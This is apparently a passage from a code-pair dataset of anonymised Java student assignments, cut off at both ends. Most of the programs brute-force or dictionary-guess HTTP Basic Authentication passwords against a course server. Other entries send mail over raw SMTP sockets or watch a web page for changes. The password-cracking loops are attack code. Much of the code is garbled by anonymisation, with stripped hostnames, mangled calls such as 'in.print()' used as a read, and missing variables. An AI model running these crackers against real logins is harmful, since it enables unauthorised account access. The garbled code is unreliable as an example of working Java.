Date();\n\ \ DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);\n\ \n try{ \n smtpSocket = new Socket(\".rmit.edu.\", 25);\n os = new\ \ DataOutputStream(smtpSocket.getOutputStream());\n is = new InputStreamReader(smtpSocket.getInputStream());\n\ \ BufferedReader = new BufferedReader(is);\n\n if(smtpSocket != null\ \ && os != null && is != null){ \n \n\ttry { \n\t os.writeBytes(\"HELO\ \ .rmit.edu.\\r\\n\");\n\t \n\t \n\t os.writeBytes(\"MAIL From: <@.rmit.edu.>\\\ r\\n\");\n\n\t \n\t os.writeBytes(\"RCPT : <@cs.rmit.edu.>\\r\\n\");\n\n\t \ \ \n\t \n\t os.writeBytes(\"DATA\\r\\n\");\n\n\t os.writeBytes(\"X-Mailer:\ \ Via Java\\r\\n\");\n\t os.writeBytes(\"DATE: \" + dFormat.format(dDate) + \"\ \\r\\n\");\n\t os.writeBytes(\"From: <@cs.rmit.edu.>\\r\\n\");\n\t os.writeBytes(\"\ : <@cs.rmit.edu.>\\r\\n\");\n\n\t os.writeBytes(\"Subject: updated\\r\\n\"\ );\n\t os.writeBytes(emailBody + \"\\r\\n\");\n\t os.writeBytes(\"\\r\\n.\\\ r\\n\");\n\t os.writeBytes(\"QUIT\\r\\n\");\n\n\t \n\t \n\t String responseline;\n\ \t while((responseline=is.readLine())!=null){ \n \n if(responseline.indexOf(\"\ Ok\") != -1) {\n break;\n }\n\t }\n\t}\n\tcatch(Exception\ \ e){ \n\t System.out.println(\"Cannot send email as error occurred.\"); \n\ \t}\n }\n else \n\tSystem.out.println(\"smtpSocket another variable\ \ is null!\");\n } \n catch(Exception e){ \n System.out.println(\"\ Host unknown\"); \n }\n } \n \n} \n\n\n" - "\t\n\n\nimport java.io.*;\nimport java.net.*;\n\nimport java.util.*;\n\nimport\ \ java.misc.BASE64Encoder;\n\npublic class BruteForce {\n\n private String userId;\n\ \ private String password;\n\n private StringBuffer seed= new StringBuffer(\"\ aaa\");\n private int tries = 1;\t\n\n\n\t\n public BruteForce() {\n\n\n \ \ \n Authenticator.setDefault (new MyAuthenticator());\n }\n\n public String\ \ fetchURL (String urlString) {\n\tHttpURLConnection connection;\n\tStringBuffer\ \ sb = new StringBuffer();\n\tDate startTime, endTime;\n\tint responseCode = -1;\n\ \tboolean retry = true;\t\n\t\n URL url;\n startTime = new Date();\n \ \ \n System.out.println (\" time :\" + startTime);\n\n\twhile (retry == true)\n\ \t{\n\t\n\t try {\n\n\t\t\turl = new URL (urlString);\n\n\t\t\tconnection =\ \ (HttpURLConnection)url.openConnection();\n\n\t\t\tsetUserId(\"\");\n\t\t\tsetPassword(\"\ rhk8611\");\n\n\t\t\tSystem.out.println(\"Attempting get a response : \" +connection.getURL()\ \ );\n\t\t\tresponseCode = connection.getResponseCode();\n\t\t\tSystem.out.print(responseCode\ \ + \" \");\n\n\t\t\tif (responseCode == HttpURLConnection.HTTP_OK) \n\t\t\t{\n\ \t\t\t\tretry = false;\n\t\t\t\tSystem.out.println(\"**** ACCESS GRANTED *****\"\ );\n\t\t\t} else\n\t\t\t{\n\t\t\t\tretry = true;\n\t\t\t\tthrow new IOException(\n\ \t\t\t\t\t\"HTTP response : \" + String.valueOf(responseCode) + \n\t\t\t\t\t\"\ \\nResponse Message: \" +connection.getResponseMessage());\n\t\t\t\t\n\t\t\t}\n\ \n\t\t\tInputStream content = (InputStream)url.getContent();\n\t\t\tBufferedReader\ \ in = \n\t\t\tnew BufferedReader (new InputStreamReader (content));\n\t\t\t\ String line;\n\t\t\t\twhile ((line = in.readLine()) != null) {\n\t\t\t\t\tsb.append(line);\n\ \t\t\t\t}\n\t\t\t} catch (MalformedURLException e) {\n\t\t\t\t\n\t\t\t\tretry=false;\n\ \t\t\t\tSystem.out.println (\"Invalid URL\" + e.getMessage());\n\t\t\t} catch\ \ (IOException e) {\n\t\t\t\t\n\t\t\t\tretry=true;\n\t\t\t\tconnection = null;\n\ \t\t\t\tSystem.out.println (\"Error URL \\n\" + e.getMessage());\n\t\t\t}\n\t\ \t}\t\n\t\tendTime = new Date();\n\t\tSystem.out.print (\"Total Time taken :\"\ \ + (endTime.getTime() - startTime.getTime())/1000*60 + \" Minutes \");\n\t\t\ System.out.println ((endTime.getTime() - startTime.getTime())/1000 + \" Sec\"\ );\n\t\t\n\t\t\n\treturn sb.toString();\n }\n\n\n public static void main (String\ \ args[]) {\n\tBruteForce myGenerator = new BruteForce();\n\n\n\t\n\n\n\tSystem.out.println(\"\ Starting seed is : \"+ myGenerator.getSeed() );\n\tString pageFound = myGenerator.fetchURL(\"\ http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t\t\n\tSystem.out.println(\" ACCESSED\ \ ->\\n\" + pageFound);\n }\n\n class MyAuthenticator extends Authenticator\ \ {\n protected PasswordAuthentication getPasswordAuthentication()\n\t{\n\t\ \tString username = getUserId();\n\t\tString pass = getPassword();\t\n\t\tif (pass.equals(\"\ ZZZ\"))\n\t\t{\n\t\t\tSystem.out.println(\"\\nReached the end of combinations.\ \ EXITING.\\n\");\n\t\t\tSystem.exit(0);\n\t\t}\n\t\tif ((tries % 8) == 0 )\n\t\ \t{\n\t\t\tpass = \"\" + getNextPassword();\n\t\t}else \n\t\t{\n\t\t\tpass = \"\ \"+ getNextPasswordCase(\"\"+getSeed(), tries%8);\n\t\t}\n\t\ttries ++;\n\n\t\ \ System.out.println(tries + \" Authenticating with -> \" + pass);\n\n\t return\ \ new PasswordAuthentication (username, pass.toCharArray());\n\t \n }\n }\n\ \t\n\tpublic String getPassword()\n\t{\n\t\treturn this.password;\n\t}\n\n\tpublic\ \ void setPassword(String password)\n\t{\n\t\tthis.password = password;\n\t}\n\ \n\t\n\tpublic String getUserId()\n\t{\n\t\treturn this.userId;\n\t}\n\n\tpublic\ \ void setUserId(String userId)\n\t{\n\t\tthis.userId = userId;\n\t}\n\n\tpublic\ \ StringBuffer getNextPassword()\n\t{\n\t\tfinal int STRING_RADIX = 36;\n\t\t\n\ \t\tint changeDigit;\n\t\tint dig;\n\t\tchar cdig;\n\t\t\n\t\t\n\t\tchangeDigit\ \ = 2;\n\t\tif (getSeed().charAt(changeDigit) < 'z')\n\t\t{\n\t\t\tdig = Character.digit(getSeed().charAt(changeDigit),\ \ STRING_RADIX);\n\t\t\tdig = dig + 1;\n\t\t\tcdig = Character.forDigit(dig, STRING_RADIX);\n\ \t\t\tseed.setCharAt(changeDigit,cdig);\n\t\t\t\t\n\t\t} else\n\t\t{\n\t\t\t\n\ \t\t\tseed.setCharAt(2,'a');\n\t\t\t\n\t\t\t\n\t\t\tchangeDigit = 1;\n\t\t\tif\ \ (getSeed().charAt(changeDigit) < 'z')\n\t\t\t{\n\t\t\t\tdig = Character.digit(getSeed().charAt(changeDigit),\ \ STRING_RADIX);\n\t\t\t\tdig = dig + 1;\n\t\t\t\tcdig = Character.forDigit(dig,\ \ STRING_RADIX);\n\t\t\t\tseed.setCharAt(changeDigit,cdig);\n\t\t\t} else\n\t\t\ \t{\n\t\t\t\t\n\t\t\t\tseed.setCharAt(2,'a');\n\t\t\t\t\n\t\t\t\tseed.setCharAt(1,'a');\n\ \t\t\t\t\n\t\t\t\t\n\t\t\t\tchangeDigit = 0;\n\t\t\t\tif (getSeed().charAt(changeDigit)\ \ < 'z')\n\t\t\t\t{\n\t\t\t\t\tdig = Character.digit(getSeed().charAt(changeDigit),\ \ STRING_RADIX);\n\t\t\t\t\tdig = dig + 1;\n\t\t\t\t\tcdig = Character.forDigit(dig,\ \ STRING_RADIX);\n\t\t\t\t\tseed.setCharAt(changeDigit,cdig);\n\t\t\t\t}\n\t\t\ \t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\n\t\treturn getSeed();\n\t\n\t}\n\n\tprivate StringBuffer\ \ getNextPasswordCase(String pwd, int inx)\n\t{\n\t\tStringBuffer casePwd = new\ \ StringBuffer(pwd);\n\t\tchar myChar;\n\t\tswitch (inx)\n\t\t{\n\t\t\tcase 1:\n\ \t\t\t\tmyChar = pwd.charAt(0);\n\t\t\t\tcasePwd.setCharAt(0, Character.toUpperCase(myChar));\n\ \t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\tmyChar = pwd.charAt(1);\n\t\t\t\tcasePwd.setCharAt(1,\ \ Character.toUpperCase(myChar));\n\t\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\tmyChar\ \ = pwd.charAt(2);\n\t\t\t\tcasePwd.setCharAt(2, Character.toUpperCase(myChar));\n\ \t\t\t\tbreak;\n\t\t\tcase 4:\n\t\t\t\tmyChar = pwd.charAt(0);\n\t\t\t\tcasePwd.setCharAt(0,\ \ Character.toUpperCase(myChar));\n\t\t\t\tmyChar = pwd.charAt(1);\n\t\t\t\tcasePwd.setCharAt(1,\ \ Character.toUpperCase(myChar));\n\t\t\t\tbreak;\n\t\t\tcase 5:\n\t\t\t\tmyChar\ \ = pwd.charAt(0);\n\t\t\t\tcasePwd.setCharAt(0, Character.toUpperCase(myChar));\n\ \t\t\t\tmyChar = pwd.charAt(2);\n\t\t\t\tcasePwd.setCharAt(2, Character.toUpperCase(myChar));\n\ \t\t\t\tbreak;\n\t\t\tcase 6:\n\t\t\t\tmyChar = pwd.charAt(1);\n\t\t\t\tcasePwd.setCharAt(1,\ \ Character.toUpperCase(myChar));\n\t\t\t\tmyChar = pwd.charAt(2);\n\t\t\t\tcasePwd.setCharAt(2,\ \ Character.toUpperCase(myChar));\n\t\t\t\tbreak;\n\t\t\tcase 7:\n\t\t\t\tmyChar\ \ = pwd.charAt(0);\n\t\t\t\tcasePwd.setCharAt(0, Character.toUpperCase(myChar));\n\ \t\t\t\tmyChar = pwd.charAt(1);\n\t\t\t\tcasePwd.setCharAt(1, Character.toUpperCase(myChar));\n\ \t\t\t\tmyChar = pwd.charAt(2);\n\t\t\t\tcasePwd.setCharAt(2, Character.toUpperCase(myChar));\n\ \t\t\t\tbreak;\n\t\t}\n\t\treturn(casePwd);\n\t\t\n\t}\t\n\tpublic StringBuffer\ \ getSeed()\n\t{\n\t\treturn this.seed;\n\t}\n\n\tpublic void setSeed(StringBuffer\ \ seed)\n\t{\n\t\tthis.seed = seed;\n\t}\n\n\n\n} \n\n\n" - source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\ \ class BruteForce {\n\n URLConnection conn = null;\n private static boolean\ \ status = false;\n\n public static void main (String args[]){\n BruteForce\ \ a = new BruteForce();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\ \ for (int i=0;i= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ \ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ \ {\n b3 = 0;\n pad = 1;\n }\n else\n\ \ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ \ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ \ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n\n" sentences: - "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\nimport java.io.*;\n\ import java.net.*;\n\n\n\npublic class BruteForce\n{\n private URL url;\n \ \ private HttpURLConnection connection ;\n private int stopTime = 0;\n private\ \ int startTime = 0;\n private int count = 0;\n\n public BruteForce()\n\ \ {\n System.out.println(\"Process is running...\");\n startTime =\ \ System.currentTimeMillis();\n threeLetters();\n twoLetters();\n \ \ }\n\n public static void main (String args[])\n {\n BruteForce bf =\ \ new BruteForce();\n }\n \n public void threeLetters()\n {\n String\ \ s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n\ \ {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for\ \ (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0]\ \ + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\ \ + i2));\n decision(s1);\n count++;\n\n \ \ s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1))\ \ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ \ decision(s1);\n count++;\n\n s1 =\ \ String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\ \ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ \ decision(s1);\n count++;\n\n s1 =\ \ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\ \ + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ \ decision(s1);\n count++;\n\n s1 =\ \ (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\ \ +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n\ \ count++;\n\n s1 = (String.valueOf((char)(a[0] +\ \ i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\ \ + i2));\n decision(s1);\n count++;\n\n \ \ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1]\ \ + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ \ decision(s1);\n count++;\n\n s1 =\ \ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\ \ + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n\ \ count++;\n }\n }\n }\n }\n \n public\ \ void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n\ \ for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1\ \ < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0))\ \ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \ \ count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1]\ \ + i1)).toUpperCase();\n decision(s1);\n count++;\n\n \ \ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n \ \ (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n\ \ count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase()\ \ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \ \ count++;\n }\n }\n }\n\n \n public void decision(String\ \ s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n\ \ runTime = stopTime - startTime;\n System.out.println(\"***************************************\"\ );\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\ \\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the\ \ Web site: \");\n displayContent(s1);\n System.out.println(\"\ \\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\ \\nNumber of attempts: \" + count);\n System.out.println();\n\n \ \ System.exit(0);\n }\n }\n \n \n public int find(String s1)\n\ \ {\n int responseCode = 0;\n try\n {\n url = new URL(\"\ http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\ \n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\ \" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n\ \ }catch (Exception e)\n {\n System.out.println(e.getMessage());\n\ \ }\n return responseCode;\n }\n\n \n public void displayContent(String\ \ pw)\n {\n BufferedReader bw = null ;\n try\n {\n url\ \ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection =\ \ (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"\ Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream\ \ stream = (InputStream)(connection.getContent());\n if (stream != null)\n\ \ {\n InputStreamReader reader = new InputStreamReader (stream);\n\ \ bw = new BufferedReader (reader);\n String line;\n\n\ \ while ((line = bw.readLine()) != null)\n {\n \ \ System.out.println(line);\n }\n }\n }\n \ \ catch (IOException e)\n {\n System.out.println(e.getMessage());\n\ \ }\n }\n}\n\n\n\n\n" - "\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.net.*;\n\ \npublic class Dictionary extends Frame implements ActionListener {\n\n private\ \ TextField tf = new TextField();\n private TextArea ta = new TextArea();\n\n\ \ public void actionPerformed (ActionEvent e) {\n\t String s = tf.getText();\n\ \t String login=\"\";\n try{\n\t BufferedReader bufr = new BufferedReader\n\ \t\t\t(new FileReader (\"words1.txt\"));\n\t String inputLine=\"\";\n\n\n\n\t\ \ if (s.length() != 0)\n {\n\t\t inputLine = bufr.readLine();\n\t\t while\ \ ((inputLine != null) && (inputLine.length() != 3))\n\t\t {\n\t\t\t \n\t\t\t\ \ inputLine = bufr.readLine();\n\t\t }\n\n login=\":\"+inputLine;\n\ \t\t ta.setText (fetchURL (s,login));\n\t\t System.out.println(\"runing\"\ +login);\n\t }while(ta.getText().compareTo(\"Invalid URL\")!=0 || ta.getText().compareTo(\"\ Error URL\")!=0);\n\n\t System.out.println(\"The password is: \"+inputLine);\n\ }\ncatch(Exception ex){}\n\n }\n\n public Dictionary() {\n\n super (\"URL11\ \ Password\");\n\n \n add (tf, BorderLayout.LEFT);\n ta.setEditable(false);\n\ \ add (ta, BorderLayout.CENTER);\n tf.addActionListener (this);\n \ \ addWindowListener (new WindowAdapter() {\n public void windowClosing (WindowEvent\ \ e) {\n dispose();\n System.exit(0);\n }\n });\n \ \ }\n\n private String fetchURL (String urlString,String login) {\n StringWriter\ \ sw = new StringWriter();\n PrintWriter pw = new PrintWriter();\n\n try\ \ {\n URL url = new URL (urlString);\n\n \n MyAuthenticator =\ \ new MyAuthenticator();\n \n\n \n String encoding = new url.misc.BASE64Encoder().encode\ \ (login.getBytes());\n\n \n \n\n \n URLConnection uc =\ \ url.openConnection();\n uc.setRequestProperty (\"Authorization\", \"\ \ \" + encoding);\n InputStream content = (InputStream)uc.getInputStream();\n\ \ BufferedReader in =\n new BufferedReader (new InputStreamReader\ \ (content));\n String line;\n while ((line = in.readLine()) != null)\ \ {\n pw.println (line);\n }\n } catch (MalformedURLException\ \ e) {\n pw.println (\"Invalid URL\");\n } catch (IOException e) {\n\ \ pw.println (\"Error URL\");\n }\n return sw.toString();\n }\n\ \n\n public static void main (String args[]) {\n Frame f = new Dictionary();\n\ \ f.setSize(300, 300);\n f.setVisible (true);\n }\n\n class MyAuthenticator\ \ {\n String getPasswordAuthentication(Frame f, String prompt) {\n final\ \ Dialog jd = new Dialog (f, \"Enter password\", true);\n jd.setLayout (new\ \ GridLayout (0, 1));\n Label jl = new Label (prompt);\n jd.add (jl);\n\ \ TextField username = new TextField();\n username.setBackground (Color.lightGray);\n\ \ jd.add (username);\n TextField password = new TextField();\n \ \ password.setEchoChar ('*');\n password.setBackground (Color.lightGray);\n\ \ jd.add (password);\n Button jb = new Button (\"OK\");\n jd.add\ \ (jb);\n jb.addActionListener (new ActionListener() {\n public\ \ void actionPerformed (ActionEvent e) {\n jd.dispose();\n }\n\ \ });\n jd.pack();\n jd.setVisible(true);\n return username.getText()\ \ + \":\" + password.getText();\n\n }\n }\n\n}\n \n\n class Base64Converter\n\ \ \n \n {\n\n public static final char [ ] alphabet = {\n\ \ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L',\ \ 'M', 'N', 'O', 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n\ \ 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', \n 'g', 'h', 'i', 'j',\ \ 'k', 'l', 'm', 'n', \n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', \n\ \ 'w', 'x', 'y', 'z', '0', '1', '2', '3', \n '4', '5', '6', '7',\ \ '8', '9', '+', '/' }; \n\n \n \n\n public static String encode\ \ ( String s )\n \n {\n return encode ( s.getBytes ( ) );\n\ \ }\n\n public static String encode ( byte [ ] octetString )\n \ \ \n {\n int bits24;\n int bits6;\n\n char [ ] out\n\ \ = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n\n \ \ int outIndex = 0;\n int i = 0;\n\n while ( ( i + 3 ) <=\ \ octetString.length )\n {\n \n bits24 = ( octetString\ \ [ i++ ] & 0xFF ) << 16;\n bits24 |= ( octetString [ i++ ] & 0xFF )\ \ << 8;\n bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;\n\n \ \ bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet\ \ [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out\ \ [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0\ \ ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6\ \ = ( bits24 & 0x0000003F );\n out [ outIndex++ ] = alphabet [ bits6\ \ ];\n }\n\n if ( octetString.length - i == 2 )\n {\n \ \ \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n \ \ bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;\n\n bits6 = ( bits24\ \ & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\ \ bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++\ \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n \ \ out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out\ \ [ outIndex++ ] = '=';\n }\n else if ( octetString.length - i ==\ \ 1 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF )\ \ << 16;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++\ \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n\ \ out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out\ \ [ outIndex++ ] = '=';\n out [ outIndex++ ] = '=';\n }\n\n \ \ return new String ( out );\n }\n\n \n \n }\n\n" - "\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.Properties;\nimport\ \ java.security.*;\n\npublic class WatchDog\n{\n private String file,tempfile1,tempfile2,tempfile3;\n\ \tprivate final String host=\"yallara.cs.rmit.edu.\";\n private final String\ \ email=\"@cs.rmit.edu.\";\n private final String from=\"watchdog@cs.rmit.edu.\"\ ;\n private final String subject=\"SUBJECT:Mail from Watchdog about the changes\ \ the web-.\";\n private String baseURL=\"\";\n\tprivate String msg;\n\tprivate\ \ boolean firstTime=false;\n public WatchDog(boolean flag)\n\t{\n\t\tfirstTime=flag;\n\ \t}\n\n public void startWatching(String[] urls,String fl)\n {\n\t\tfile=fl;\n\ \t\ttempfile1=fl+\"/temp1.log\";\n\t\ttempfile2=fl+\"/temp2.log\";\n\t\ttempfile3=fl+\"\ /temp3.log\";\n\t\tSystem.out.println(tempfile3);\n\n\t\tmsg=\"\";\n\t\tfor(;;)\n\ \t\t{\n\t\t\ttry\n\t\t\t{\n\n\t\t\t\tfor(int o=0;o?:{}|\");\n\ \t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tBufferedReader in1=new\ \ BufferedReader(new FileReader(file));\n\t\tBufferedReader in2=new BufferedReader(new\ \ FileReader(tempfile1));\t\n\t\tString msg=\"\\n\";\n \tString temp1=\"\ \",temp2=\"\",oldText=\"\",newText=\"\";\n\n\t\t\n\t\tBufferedReader in0=new BufferedReader(new\ \ FileReader(tempfile1));\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ +\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in0.readLine();\n\t\t\ttemp1=temp1+\"\\\ n\";\n\t\t\tnewText=newText+temp1;\n\t\t}\n\t\tin0.print();\n\t\tin0=null;\n\t\ \t\n\t\tout=new PrintWriter(new FileOutputStream(tempfile1));\n\t\tout.println(newText);\n\ \t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ );\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\t\tnewText=\"\";\n\t\t\ temp1=\" \";\n\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ +\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in1.readLine();\n\t\t\ttemp1=temp1+\"\\\ n\";\n\t\t\ttemp2=in2.readLine();\n\t\t\ttemp2=temp2+\"\\n\";\n\t\t\toldText=oldText+temp1;\n\ \t\t\tnewText=newText+temp2;\n\t\t}\t\t\n\n\t\tin2.print();\n\t\tin2=null;\n\n\ \t\tout=new PrintWriter(new FileOutputStream(tempfile2));\n\t\tout.println(oldText);\n\ \t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ );\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tmsg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3);\n\ \t\tString data=\"\";\n\t\ttry{\n\t\t\tFileReader fin=new FileReader(tempfile3);\n\ \t\t\tint ch=fin.print();\n\t\t\twhile(ch!= -1)\n\t\t\t{\n\t\t\t data=data+\"\ \"+(char)ch;\n\t\t\t\t ch=fin.print();\n\t\t\t}\n\t\t}\n\t\tcatch(FileNotFoundException\ \ m){}\n\n\t\tmsg=msg+data;\n\n\t\ttemp1=in1.readLine();\n\n\t\tint numImg=Integer.parseInt(temp1);\n\ \t\tif(numImg != images.length)\n\t\t\tmsg=msg+\"The number of images has chnaged.\\\ n The number of images before was \"+numImg+\" \\n While the number of images\ \ found now is \"+images.length+\" .\\n\";\n\t\telse\n\t\t\tmsg=msg+\" is change\ \ in the number of images the .\\n\";\n\n\t\tString iText1=\"\",iText2=\"\";\n\ \t\t\n\t\tfor(int i=0;i?:{}|\"\ );\n\t\t\tout.flush();\n\t\t\tout.print();\n\t\t\tout=null;\n\n\t\t\tin2=new BufferedReader(new\ \ FileReader(tempfile1));\n\t\n\t\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ +\"\\n\")==false)\n\t\t\t{\n\t\t\t\n\t\t\t\ttemp1=in1.readLine();\n\t\t\t\ttemp1=temp1+\"\ \\n\";\n\t\t\t\ttemp2=in2.readLine();\n\t\t\t\ttemp2=temp2+\"\\n\";\n\t\t\t\t\ iText1=iText1+temp1;\n\t\t\t\tiText2=iText2+temp2;\n\t\t\t}\n\t\t\t\n\t\t\tin2.print();\n\ \t\t\tin2=null;\n\n\t\t\tif(iText1.equals(iText2))\n\t\t\t\tmsg=msg+\" is change\ \ in the Image number \"+(i+1)+\". \\n\";\n\t\t\telse\n\t\t\t\tmsg=msg+\"The Image\ \ number \"+(i+1)+\" has changed. \\n\";\n\t\t}\n\n\t\treturn msg;\n\t}\n\tprivate\ \ String[] getImages(String text) throws IOException\n\t{\n\t\tString [] images,urls;\n\ \t\tjava.util.ArrayList alist=new java.util.ArrayList();\n\t\tString t=\"\";\n\ \t\tboolean img=false;\n\t\tint len=text.length();\n\t\tchar ch,last=' ';\n\t\t\ int c=0;\n\t\twhile(c')\n\t\t\t{\n\t\t\ \t\tlast='>';\n\t\t\t\tif(img==true)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\tSystem.out.println();\n\ \t\t\t\t\tint n=0;\n\t\t\t\t\tchar tch,tlast=' ';\n\t\t\t\t\tString imgPath=\"\ \",tn=\"\";\n\t\t\t\t\tboolean src=false;\n\t\t\t\t\twhile(n?:{}|\");\n\t\tout.flush();\t\ \n\n\t\tif(images.length>0)\n\t\t{\n\t\t\tout.println(images.length+\"\");\n\t\ \t\tout.flush();\t\n\t\t}\n\t\tfor(int i=0;i?:{}|\"\ );\n\t\t\tout.flush();\t\t\n\t\t}\t\n\n\t}\n\n public String getResource(String\ \ url) throws IOException\n\t{\n\t\t\t\tSystem.out.println(\"url=\"+url);\n\t\t\ \t\tString urlData=new String(\"\");\n InputStreamReader in=new\ \ InputStreamReader(new URL(url).openStream());\n int ch=in.print();\n\ \ while(ch!= -1)\n {\n urlData=urlData+(char)ch;\n\ \ ch=in.print();\n }\n\t\treturn urlData;\n\t\ }\n\n public boolean mail (String msg) throws IOException\n {\n\ \ boolean ret=true;\n try\n {\n \ \ Socket csoc=new Socket(\"yallara.cs.rmit.edu.\",25);\n BufferedReader\ \ in=new BufferedReader(new InputStreamReader(csoc.getInputStream()));\n \ \ PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);\n \ \ out.println(\"HELO \"+host);\n System.out.println(in.readLine());\n\ \ out.println(\"MAIL FROM:\"+from);\n System.out.println(in.readLine());\n\ \ out.println(\"RCPT :\");\n System.out.println(in.readLine());\n\ \ out.println(\"DATA\");\n System.out.println(in.readLine());\n\ \ out.println(\"SUBJECT:\"+subject);\n System.out.println(in.readLine());\n\ \ out.println(msg);\n \t out.println(\".\");\n \ \ System.out.println(in.readLine());\n out.println(\"QUIT\");\n \ \ System.out.println(in.readLine());\n }\n catch(Exception\ \ e)\n {\n e.printStackTrace();\n System.out.println(\"\ Some error occoured while communicating server\");\n ret=false;\n\ \ \t return ret;\n }\n\t System.out.println(\"**************************************\\\ nMAIL ->\"+msg);\n return ret;\n }\n\n\tpublic static void main\ \ (String[] 